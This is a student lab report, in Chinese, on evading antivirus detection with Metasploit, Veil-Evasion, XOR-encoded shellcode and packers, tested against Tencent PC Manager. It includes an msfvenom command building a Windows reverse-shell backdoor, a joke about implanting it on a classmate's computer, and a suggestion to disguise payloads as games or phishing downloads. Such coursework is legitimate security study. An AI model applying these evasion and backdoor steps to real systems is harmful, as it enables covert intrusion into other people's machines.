20154307《网络对抗》Exp3 免杀原理与实践
一、基础问题回答
（1）杀软是如何检测出恶意代码的？
基于特征码的检测：杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配，就会把该程序当作恶意软件。
启发式恶意软件检测
基于行为的恶意软件检测：检测程序是否会有一些恶意行为，如修改注册表，更改权限等等。。
（2）免杀是做什么？
让攻击程序不被杀软查杀
（3）免杀的基本方法有哪些？
加壳
改变特征码
二、实践内容
我用的杀毒软件是腾讯电脑管家，版本如下
1、使用msf生成后门程序的检测
由于上一个实验我们已经用msf生成了一个后门程序，于是我就直接用上一个后门来检测
当然。。。结果是不容乐观的，毕竟上次的实验是在关闭杀软和防火墙的情况下做的。。。。
腾讯管家也无情查杀。。
用msf多次编译检测结果也一样，报病毒率很高，这里我就没有截图。。。。
2、使用veil-evasion生成后门程序的检测
首先啊，这个部分之前，我们要先安装veil-evasion
sudo apt-get install veil-evasion这个命令，安装之。。。
（过程中，下载速度和安装速度实在无力吐槽。。。。心累）
下载安装好以后，我们在终端输入veil
输入use 1进入如下界面
输入list，查看payload模板，嗯，挺多的，有41个。。。
这里我选择了6
如下图我更改了端口号和IP地址
我把它命名为4307
检测该文件，稍微好了一点，不枉我下载和安装了那么久的veil
腾讯依然无情。。。。。
3、利用shellcode编写后门程序的检测
在终端输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip PORT=端口号 -f exe > met.exe
把这段机器指令复制下来
我首先在linux情况下，生成了exe
检测结果不是很乐观啊。。。
腾讯也拦截了他
于是我在用codeblocks做了一遍，生成的exe检测结果比linux稍微好了一些
同时，腾讯沦陷了，哈哈哈
4、将shellcode异或
我把之前复制出来的机器指令，和43异或，这个可以在codeblocks实现。
把异或的结果输入buf，然后在主函数中将其在此异或
（老师不让放代码，那我就打一个码吧。。。）
大概就像上图那样。。。。。这个我是在linux下完成的。。
生成的exe检测。。结果。。。。。并没有我想象中那么好。。。
然后我用了codeblock。。。发现比linux下好一些。。。
我把异或的数字换成了17，发现结果稍微好了一些。。。。（这个是在codeblocks上做的）
当然，对shellcode的修改不止有异或，我们还可以逆序，或者把异或和逆序结合，我想这样可能报病毒的概率会更低。。。但由于时间有限，我也没做更多的尝试。。。。。。
以上三个exe，腾讯全部阵亡。。。。。，以下是我的回连结果。。。
可以回连的。。想到上一次实验的窥屏。。。。。。。把这个植入同学的电脑。。。嘿嘿嘿。。
下面是和杀软共生的截图
讲道理这个应该算是免杀了，至少我的腾讯管家杀不出来，但是别的厉害一些的杀软可能可以检测出来，原理就是改了这个的特征码，最后在主函数里通过异或将其还原了。
5、加壳
我把上一次veil生成的exe，加了壳。。。。额。。。
下面这个是加壳之前的。。。。。
崩溃了，边上的同学加壳以后报病毒是0。。。0。。。。
综上，这次实验就做完了。。
三、离实战还缺些什么技术或步骤？
我觉得shellcode的异或已经可以欺骗一部分用户了，例如360的用户。虽然报病毒的概率还有待降低。当然，把攻击程序装入靶机还是需要一定的技术的，例如把他藏在一个什么游戏之下（贪玩蓝月），或是一些钓鱼网站。。。。然后随着杀毒软件的库在不断更新，我们的技术也不能一直使用，也要同时去更新。
四、实验总结与体会
腾讯管家确实不够厉害，而且我们也不能完全把电脑的安全依赖于杀软，杀软只能用于病毒的防范，病毒的防范，还是要看自己，在上网，玩游戏的时候要有安全意识。
同时，我们做的免杀还是比较基础的，在免杀的制作和防范上，我们要走的路还是很远的。。。。
嗯，这次实验还是很有意思的。。。。